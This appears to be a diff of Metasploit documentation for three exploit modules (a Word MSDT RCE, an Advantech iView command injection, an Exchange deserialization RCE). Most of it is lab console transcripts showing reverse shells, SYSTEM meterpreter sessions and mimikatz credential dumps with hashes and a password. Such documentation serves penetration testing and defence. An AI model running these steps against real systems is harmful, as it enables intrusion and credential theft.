You need an official version of Microsoft Office installed.
Tested on Microsoft Windows 10 1909 w/ Microsoft Office Word 2016.
Tested on Microsoft Windows 10 1909 with Microsoft Office Word 2016.
## Verification Steps
@@ -36,11 +41,14 @@ A DOCX file that will be used as a template to build the exploit.
Obfuscate JavaScript content. Default: true
**URIPATH**
The URI for the callback to get the payload. Testing suggests this must be ANSI compatible and the full URI must be less than 76 characters.
## Scenarios
### Basic use
1. Generate the exploit as following.
1. Generate the exploit for docx as following.
```
[*] Started reverse TCP handler on 172.20.32.36:4444
@@ -86,7 +94,91 @@ Obfuscate JavaScript content. Default: true
### The 0-Click tip
You can get the 0-click by converting, manually, the `.docx` file generated by the module into a `.rtf` file format.
You can get the 0-click by either selecting the 'rtf' option in converting, manually, the `.docx` file generated by the module into a `.rtf` file format.
### RTF
1. Generate the exploit for rtf as following.
```
msf6 exploit(windows/fileformat/word_msdtjs_rce) > show options
Module options (exploit/windows/fileformat/word_msdtjs_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOMTEMPLATE no A DOCX file that will be used as a template to build the exploit.
FILENAME msf.docx no The file name.
OBFUSCATE true yes Obfuscate JavaScript content.
OUTPUT_FORMAT docx yes File format to use [docx, rtf]. (Accepted: docx, rtf)
SRVHOST 10.5.135.101 yes The local host or network interface to listen on. This must be an address on the loca
l machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Microsoft Office Word
msf6 exploit(windows/fileformat/word_msdtjs_rce) > set filename test.rtf
filename => test.rtf
msf6 exploit(windows/fileformat/word_msdtjs_rce) > set output_format rtf
output_format => rtf
msf6 exploit(windows/fileformat/word_msdtjs_rce) > set lhost 10.5.135.101
lhost => 10.5.135.101
msf6 exploit(windows/fileformat/word_msdtjs_rce) > set verbose true
verbose => true
msf6 exploit(windows/fileformat/word_msdtjs_rce) > set disablepayloadhandler false
disablepayloadhandler => false
msf6 exploit(windows/fileformat/word_msdtjs_rce) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.101:4444
[*] Using URL: http://10.5.135.101:8080/7eIbCn81aas277
[*] Server started.
[*] Generating a malicious rtf file
[+] test.rtf stored at /home/tmoose/.msf4/local/test.rtf
msf6 exploit(windows/fileformat/word_msdtjs_rce) > [*] Powershell command length: 3718
```
2. Upload rtf file to remote host, make sure 'preview' is enabled, and click on the file. (You don't need to open it, just click once to preview it)
```
[*] 10.5.132.101 word_msdtjs_rce - Sending HTML Payload
[*] 10.5.132.101 word_msdtjs_rce - Obfuscate JavaScript content
[*] 10.5.132.101 word_msdtjs_rce - Sending PowerShell Payload
[*] Sending stage (200774 bytes) to 10.5.132.101
[*] Meterpreter session 1 opened (10.5.135.101:4444 -> 10.5.132.101:51221) at 2022-08-17 10:56:01 -0500
msf6 exploit(windows/fileformat/word_msdtjs_rce) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : DESKTOP-D1E425Q
OS : Windows 10 (10.0 Build 17134).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: DESKTOP-D1E425Q\msfuser
```
## References
@@ -0,0 +1,71 @@
## Vulnerable Application
Versions of Advantech iView software below `5.7.04.6469` are vulnerable to
an unauthenticated command injection vulnerability via the `NetworkServlet` endpoint.
The database backup functionality passes a user-controlled parameter, `backup_file`
to the `mysqldump` command. The sanitization functionality only tests for SQL injection
attempts and directory traversal, so leveraging the `-r` and `-w` `mysqldump` flags
permits exploitation. The command injection vulnerability is used to write a
payload on the target and achieve remote code execution as NT AUTHORITY\SYSTEM.
A vulnerable version can be installed from [here](https://downloadt.advantech.com/download/downloadsr.aspx?File_Id=1-26RVVS9).
Other versions of the software can be found [here](https://www.advantech.tw/support/details/firmware?id=1-HIPU-183).
### Installation Instructions
Distributed with the installer is a PDF containing detailed installation instructions
for the software. Once the installation has finished, you may have issues getting the
Tomcat service to start. If that's the case, follow the steps below (pulled from advantech_iview_unauth_rce.md):
1. Copy the msvcr100.dll file from C:\Program Files (x86)\Java\jre7\bin to C:\Program Files (x86)\iView\Apache Software Foundation\Tomcat6.0\bin.
2. Restart the "Apache Tomcat 6" service. 1 At this point, the application should be listening on port 8080 and no additional configuration is necessary.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/windows/http/advantech_iview_networkservlet_cmd_inject`
4. Do: `set RHOST <ip>`
5. Do: `run`
6. You should get a meterpreter session.
## Options
## Scenarios
### Advantech iView Webserver `v5.7.04.6425` on Windows 10 21H2 x64
```
msf6 > use exploit/windows/http/advantech_iview_networkservlet_cmd_inject
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/advantech_iview_networkservlet_cmd_inject) > set rhost 192.168.140.197
rhost => 192.168.140.197
msf6 exploit(windows/http/advantech_iview_networkservlet_cmd_inject) > set lhost 192.168.140.1
lhost => 192.168.140.1
msf6 exploit(windows/http/advantech_iview_networkservlet_cmd_inject) > run
[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Using URL: http://192.168.140.1:8080/QVp4zocvVZ9f
[*] Client 192.168.140.197 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237) requested /QVp4zocvVZ9f
[*] Sending payload to 192.168.140.197 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237)
[*] Sending stage (200774 bytes) to 192.168.140.197
[*] Command Stager progress - 100.00% done (125/125 bytes)
[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.197:50152) at 2022-07-21 16:48:57 -0500
[*] Server stopped.
[!] This exploit may require manual cleanup of 'webapps\iView3\vQbGQrFe.jsp' on the target
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DESKTOP-04M9HG7
OS : Windows 10 (10.0 Build 19044).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
```
@@ -1,895 +0,0 @@
## Vulnerable Application
### Description
This vulnerability allows remote attackers to execute arbitrary code
on Exchange Server 2019 CU10 prior to Security Update 3, Exchange Server 2019 CU11
prior to Security Update 2, Exchange Server 2016 CU21 prior to Security Update 3,
and Exchange Server 2016 CU22 prior to Security Update 2.
Note that authentication is required to exploit this vulnerability.
The specific flaw exists due to the fact that the deny list for the
ChainedSerializationBinder had a typo whereby an entry was typo'd as
`System.Security.ClaimsPrincipal` instead of the proper value of
`System.Security.Claims.ClaimsPrincipal`.
By leveraging this vulnerability, attacks can bypass the
`ChainedSerializationBinder`'s deserialization deny list
and execute code as `NT AUTHORITY\SYSTEM`.
Tested against Exchange Server 2019 CU11 SU0 on Windows Server 2019,
and Exchange Server 2016 CU22 SU0 on Windows Server 2016.
### Setup
1. Set up a version of Windows Server 2019.
2. Download Exchange Server 2019 CU11 SU0 from https://download.microsoft.com/download/5/3/e/53e75dbd-ca33-496a-bd23-1d861feaa02a/ExchangeServer2019-x64-CU11.ISO
3. Follow the guide at https://petri.com/how-to-install-active-directory-in-windows-server-2019-server-manager to turn
the server into an AD server.
4. Mount the ISO and run `Setup.exe`. It should prompt you install .NET Framework, Visual Studio C++ Redistributables,
and Unified Communications Managed API. Install these and then reboot.
5. Follow https://www.nucleustechnologies.com/blog/step-by-step-guide-to-install-exchange-server-2019-part-1/ and
install the required features.
6. Keep running `Setup.exe` and installing extra dependencies as needed as per the links.
7. When you do get all dependencies installed, Exchange should give a button called `Install` which should no longer be
greyed out. Press this to install and accept any warnings that appear.
8. Go to https://*ip here*/owa/ and make sure you can see the Exchange Outlook login page.
## Verification Steps
1. Follow [Setup](#setup) to set up a vulnerable target.
2. `msfconsole`
3. `set RHOST <target IP address>`
4. `set LHOST <IP for target to connect back to>`
5. `set HttpUsername <username of OWA user to log in as>`
6. `set HttpPassword <password for this OWA user>`
7. Optional: `set DOMAIN <domain of OWA user>`
8. Optional: `set VHOST <vhost of target>`
9. `exploit`
10. You should get a shell on the target as `NT AUTHORITY\SYSTEM` if it is vulnerable.
## Targets
### 0
Windows Command
### 1
Windows Dropper
### 2
PowerShell Stager
## Options
### HttpUsername
Set this to the OWA username. This can also be set to a valid domain username that has permissions to log into Exchange.
### HttpPassword
Set this to the OWA password. This can also be set to the password for a domain user that has permissions to log into Exchange.
## Scenarios
### Exchange Server 2016 CU22 SU0 On Windows Server 2016
#### Target 0 - Windows Command
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce
[*] Using configured payload cmd/windows/powershell_reverse_tcp
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set RHOSTS 172.24.104.104
RHOSTS => 172.24.104.104
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpUsername administrator
HttpUsername => administrator
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpPassword thePassword123!
HttpPassword => thePassword123!
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set LHOST 172.24.97.166
LHOST => 172.24.97.166
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > show options
Module options (exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword thePassword123! yes The password to use to authenticate to the Ex
change server
HttpUsername administrator yes The username to log into the Exchange server
as
Proxies no A proxy chain of format type:host:port[,type:
host:port][...]
RHOSTS 172.24.104.104 yes The target host(s), see https://github.com/ra
pid7/metasploit-framework/wiki/Using-Metasplo
it
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen
on. This must be an address on the local mac
hine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is
randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is r
andom)
VHOST no HTTP server virtual host
Payload options (cmd/windows/powershell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.24.97.166 yes The listen address (an interface may be speci
fied)
LOAD_MODULES no A list of powershell modules separated by a c
omma to download over the web
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows Command
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > exploit
[*] Started reverse TCP handler on 172.24.97.166:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exchange Server 15.1.2375.7 is a vulnerable build.
[*] Getting the user's inbox folder's ID and ChangeKey ID...
[+] ChangeKey value for Inbox folder is AQAAABYAAABjPvjo3ZQTRrRX7vZy33WTAAAADs7u
[+] ID value for Inbox folder is AQMkADM5MTA3MzQ3LTQyZjYtNGQyMy05YTdjLWY1ZWQwNDZmZDgwNQAuAAADkwyiNLXBI0qL2/WrTMzfsQEAYz746N2UE0a0V+72ct91kwAAAgEMAAAA
[*] Deleting the user configuration object associated with Inbox folder...
[+] Successfully deleted the user configuration object associated with the Inbox folder!
[*] Creating the malicious user configuration object on the Inbox folder!
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
[*] Powershell session session 1 opened (172.24.97.166:4444 -> 172.24.104.104:8404 ) at 2022-02-22 17:27:02 -0600
PS C:\windows\system32\inetsrv> whoami
nt authority\system
PS C:\windows\system32\inetsrv>
```
#### Target 1 - Windows Dropper
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce
[*] Using configured payload cmd/windows/powershell_reverse_tcp
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set RHOSTS 172.24.104.104
RHOSTS => 172.24.104.104
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpUsername administrator
HttpUsername => administrator
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpPassword thePassword123!
HttpPassword => thePassword123!
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set LHOST 172.24.97.166
LHOST => 172.24.97.166
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set target 1
target => 1
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > show options
Module options (exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword thePassword123! yes The password to use to authenticate to the Ex
change server
HttpUsername administrator yes The username to log into the Exchange server
as
Proxies no A proxy chain of format type:host:port[,type:
host:port][...]
RHOSTS 172.24.104.104 yes The target host(s), see https://github.com/ra
pid7/metasploit-framework/wiki/Using-Metasplo
it
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen
on. This must be an address on the local mac
hine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is
randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is r
andom)
VHOST no HTTP server virtual host
Payload options (windows/x64/meterpreter_reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proc
ess, none)
EXTENSIONS no Comma-separate list of extensions to load
EXTINIT no Initialization strings for extensions
LHOST 172.24.97.166 yes The local listener hostname
LPORT 4444 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
1 Windows Dropper
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > exploit
[*] Started HTTPS reverse handler on https://172.24.97.166:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exchange Server 15.1.2375.7 is a vulnerable build.
[*] Using URL: http://0.0.0.0:8080/7nZtWqPZw3Oz
[*] Local IP: http://172.24.97.166:8080/7nZtWqPZw3Oz
[*] Getting the user's inbox folder's ID and ChangeKey ID...
[+] ChangeKey value for Inbox folder is AQAAABYAAABjPvjo3ZQTRrRX7vZy33WTAAAADs72
[+] ID value for Inbox folder is AQMkADM5MTA3MzQ3LTQyZjYtNGQyMy05YTdjLWY1ZWQwNDZmZDgwNQAuAAADkwyiNLXBI0qL2/WrTMzfsQEAYz746N2UE0a0V+72ct91kwAAAgEMAAAA
[*] Deleting the user configuration object associated with Inbox folder...
[+] Successfully deleted the user configuration object associated with the Inbox folder!
[*] Creating the malicious user configuration object on the Inbox folder!
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
[*] Command Stager progress - 100.00% done (151/151 bytes)
[*] Client 172.24.104.104 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.576) requested /7nZtWqPZw3Oz
[*] Sending payload to 172.24.104.104 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.576)
[!] https://172.24.97.166:4444 handling request from 172.24.104.104; (UUID: gj6ikxqy) Without a database connected that payload UUID tracking will not work!
[*] https://172.24.97.166:4444 handling request from 172.24.104.104; (UUID: gj6ikxqy) Redirecting stageless connection from /886ARUzXt2EUshWwdqdmVAWJyxlofzHG with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_0_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15'
[!] https://172.24.97.166:4444 handling request from 172.24.104.104; (UUID: gj6ikxqy) Without a database connected that payload UUID tracking will not work!
[*] https://172.24.97.166:4444 handling request from 172.24.104.104; (UUID: gj6ikxqy) Attaching orphaned/stageless session...
[!] https://172.24.97.166:4444 handling request from 172.24.104.104; (UUID: gj6ikxqy) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 2 opened (172.24.97.166:4444 -> 127.0.0.1 ) at 2022-02-22 17:34:07 -0600
[*] Server stopped.
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain NTLM SHA1 DPAPI
-------- ------ ---- ---- -----
Administrator TESTINGDOMAIN2 373b765d01cd8aefe 220cface685ef2b97 968811261fcbaff0d
a318e3843980454 a998f965b0d9b996b 2d5c4c8e546ba87
55d560
EXCHG-2016$ TESTINGDOMAIN2 f03d9a521cfd7eed6 ab32f2765ba2a3a3c
51c0ce1b0298d82 914aa472be639b241
21e69c
HealthMailbox2e9 TESTINGDOMAIN2 c1ab4c2b030aa3759 363c5d7a09080cd07 4e9729bc7336ca551
0d89 a4790cf6c78c642 d85c7ebacafd4ccb4 0624e08feaef9eb
70c944
ssp credentials
===============
Username Domain Password
-------- ------ --------
HealthMailbox2e90d89fe61a419 (null) LWjz0zSYg$YiYf2r{e-24zpAr)4@.u)Iq)h!49{6w(i_/_-3^%{
ba6c0942480b9c30e@testingdom K-Tpaf#d]Xefo.z}9.g6Qk(Ba@J&V)wH2h!X4a:eWO}_}ynh3n;
ain.internal G81r@gX$q9RGGFa7s@$B3IdYxz
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator TESTINGDOMAIN2 (null)
EXCHG-2016$ TESTINGDOMAIN2 (null)
HealthMailbox2e90d89 TESTINGDOMAIN2 (null)
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator TESTINGDOMAIN.INTERNAL (null)
EXCHG-2016$ testingdomain.internal ae 82 5d 5c e8 3a aa 57 91 23 b2 83 bb 27 6
1 43 ad d1 16 58 40 5f b8 0c 54 fa e8 42 6c
a8 57 23 9b 75 7d 33 a4 09 16 c1 f1 34 37
fc ec 10 b7 bd 41 03 45 c0 0c d4 26 91 8b e
4 d5 c7 43 98 be 91 80 fa fd ff 85 98 1b 49
82 c2 26 29 00 29 4e eb c2 e5 53 5f 09 f1
75 4b 3e 6d f0 ce 9a 4c b4 6e 60 c0 8f 2a d
e e0 31 df 2b a9 6a e7 e3 8a b7 3c 90 5a 9d
bc 39 6d 52 1a 3b 99 0a 10 b9 e0 fe b4 47
5e 46 af dc 32 70 43 aa dc 7f 74 67 5d 98 f
9 d6 b1 31 b8 00 5b 07 19 7f 84 d5 1d 71 2c
3c c6 ea 72 13 86 fe a7 8b 1b 1d 77 7c 62
d7 83 e7 d1 94 02 e8 3a 0c c1 c5 9b 47 19 f
b a8 21 69 47 d4 77 67 e2 30 9f 03 f8 23 3c
94 c6 68 32 15 1c 8f 94 2e 44 f7 3b 9e 69
ac 87 4f 5f 51 9a 21 d2 df b6 84 d6 93 21 f
7 f3 0c 27 df 31 5d 33 e3 32 e9
HealthMailbox2e90d89 TESTINGDOMAIN.INTERNAL (null)
exchg-2016$ TESTINGDOMAIN.INTERNAL (null)
meterpreter >
```
#### Target 2 - PowerShell Stager
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce
[*] Using configured payload cmd/windows/powershell_reverse_tcp
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set RHOSTS 172.24.104.104
RHOSTS => 172.24.104.104
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpUsername administrator
HttpUsername => administrator
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpPassword thePassword123!
HttpPassword => thePassword123!
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set LHOST 172.24.97.166
LHOST => 172.24.97.166
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set target 2
target => 2
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > show options
Module options (exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword thePassword123! yes The password to use to authenticate to the Ex
change server
HttpUsername administrator yes The username to log into the Exchange server
as
Proxies no A proxy chain of format type:host:port[,type:
host:port][...]
RHOSTS 172.24.104.104 yes The target host(s), see https://github.com/ra
pid7/metasploit-framework/wiki/Using-Metasplo
it
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen
on. This must be an address on the local mac
hine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is
randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is r
andom)
VHOST no HTTP server virtual host
Payload options (windows/x64/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proces
s, none)
LHOST 172.24.97.166 yes The local listener hostname
LPORT 4444 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
2 PowerShell Stager
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > exploit
[*] Started HTTPS reverse handler on https://172.24.97.166:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exchange Server 15.1.2375.7 is a vulnerable build.
[*] Getting the user's inbox folder's ID and ChangeKey ID...
[+] ChangeKey value for Inbox folder is AQAAABYAAABjPvjo3ZQTRrRX7vZy33WTAAAADs76
[+] ID value for Inbox folder is AQMkADM5MTA3MzQ3LTQyZjYtNGQyMy05YTdjLWY1ZWQwNDZmZDgwNQAuAAADkwyiNLXBI0qL2/WrTMzfsQEAYz746N2UE0a0V+72ct91kwAAAgEMAAAA
[*] Deleting the user configuration object associated with Inbox folder...
[+] Successfully deleted the user configuration object associated with the Inbox folder!
[*] Creating the malicious user configuration object on the Inbox folder!
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
[!] https://172.24.97.166:4444 handling request from 172.24.104.104; (UUID: jobjtqox) Without a database connected that payload UUID tracking will not work!
[*] https://172.24.97.166:4444 handling request from 172.24.104.104; (UUID: jobjtqox) Staging x64 payload (201308 bytes) ...
[!] https://172.24.97.166:4444 handling request from 172.24.104.104; (UUID: jobjtqox) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 3 opened (172.24.97.166:4444 -> 127.0.0.1 ) at 2022-02-22 17:37:56 -0600
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain NTLM SHA1 DPAPI
-------- ------ ---- ---- -----
Administrator TESTINGDOMAIN2 373b765d01cd8aefe 220cface685ef2b97 968811261fcbaff0d
a318e3843980454 a998f965b0d9b996b 2d5c4c8e546ba87
55d560
EXCHG-2016$ TESTINGDOMAIN2 f03d9a521cfd7eed6 ab32f2765ba2a3a3c
51c0ce1b0298d82 914aa472be639b241
21e69c
HealthMailbox2e9 TESTINGDOMAIN2 c1ab4c2b030aa3759 363c5d7a09080cd07 4e9729bc7336ca551
0d89 a4790cf6c78c642 d85c7ebacafd4ccb4 0624e08feaef9eb
70c944
ssp credentials
===============
Username Domain Password
-------- ------ --------
HealthMailbox2e90d89fe61a419 (null) LWjz0zSYg$YiYf2r{e-24zpAr)4@.u)Iq)h!49{6w(i_/_-3^%{
ba6c0942480b9c30e@testingdom K-Tpaf#d]Xefo.z}9.g6Qk(Ba@J&V)wH2h!X4a:eWO}_}ynh3n;
ain.internal G81r@gX$q9RGGFa7s@$B3IdYxz
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator TESTINGDOMAIN2 (null)
EXCHG-2016$ TESTINGDOMAIN2 (null)
HealthMailbox2e90d89 TESTINGDOMAIN2 (null)
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator TESTINGDOMAIN.INTERNAL (null)
EXCHG-2016$ testingdomain.internal ae 82 5d 5c e8 3a aa 57 91 23 b2 83 bb 27 6
1 43 ad d1 16 58 40 5f b8 0c 54 fa e8 42 6c
a8 57 23 9b 75 7d 33 a4 09 16 c1 f1 34 37
fc ec 10 b7 bd 41 03 45 c0 0c d4 26 91 8b e
4 d5 c7 43 98 be 91 80 fa fd ff 85 98 1b 49
82 c2 26 29 00 29 4e eb c2 e5 53 5f 09 f1
75 4b 3e 6d f0 ce 9a 4c b4 6e 60 c0 8f 2a d
e e0 31 df 2b a9 6a e7 e3 8a b7 3c 90 5a 9d
bc 39 6d 52 1a 3b 99 0a 10 b9 e0 fe b4 47
5e 46 af dc 32 70 43 aa dc 7f 74 67 5d 98 f
9 d6 b1 31 b8 00 5b 07 19 7f 84 d5 1d 71 2c
3c c6 ea 72 13 86 fe a7 8b 1b 1d 77 7c 62
d7 83 e7 d1 94 02 e8 3a 0c c1 c5 9b 47 19 f
b a8 21 69 47 d4 77 67 e2 30 9f 03 f8 23 3c
94 c6 68 32 15 1c 8f 94 2e 44 f7 3b 9e 69
ac 87 4f 5f 51 9a 21 d2 df b6 84 d6 93 21 f
7 f3 0c 27 df 31 5d 33 e3 32 e9
HealthMailbox2e90d89 TESTINGDOMAIN.INTERNAL (null)
exchg-2016$ TESTINGDOMAIN.INTERNAL (null)
meterpreter >
```
### Exchange Server 2019 CU11 SU0 on Windows Server 2019 Fully Updated with February 2022 Patches
#### Target 0 - Windows Command
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce
[*] Using configured payload cmd/windows/powershell_reverse_tcp
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set RHOST 172.31.160.218
RHOST => 172.31.160.218
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set LHOST 172.31.171.42
LHOST => 172.31.171.42
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpUsername administrator
HttpUsername => administrator
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpPassword thePassword123!
HttpPassword => thePassword123!
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > show options
Module options (exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword thePassword123! yes The password to use to authenticate to the Ex
change server
HttpUsername administrator yes The username to log into the Exchange server
as
Proxies no A proxy chain of format type:host:port[,type:
host:port][...]
RHOSTS 172.31.160.218 yes The target host(s), see https://github.com/ra
pid7/metasploit-framework/wiki/Using-Metasplo
it
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen
on. This must be an address on the local mac
hine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is
randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is r
andom)
VHOST no HTTP server virtual host
Payload options (cmd/windows/powershell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.31.171.42 yes The listen address (an interface may be speci
fied)
LOAD_MODULES no A list of powershell modules separated by a c
omma to download over the web
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows Command
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > exploit
[*] Started reverse TCP handler on 172.31.171.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exchange Server 15.2.986.5 is a vulnerable build.
[*] Getting the user's inbox folder's ID and ChangeKey ID...
[+] ChangeKey value for Inbox folder is AQAAABYAAAD+NAPdfxHOQog5PRD09yZZAAADvk7f
[+] ID value for Inbox folder is AQMkADk4Nzg3MTk4LTdmMWItNDIwOC1hNjYAZC1hMDU4ZWYyMGEyNDYALgAAA63xDZKmFz1AgDziIaoT/0sBAP40A91/Ec5CiDk9EPT3JlkAAAIBDAAAAA==
[*] Deleting the user configuration object associated with Inbox folder...
[+] Successfully deleted the user configuration object associated with the Inbox folder!
[*] Creating the malicious user configuration object on the Inbox folder!
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
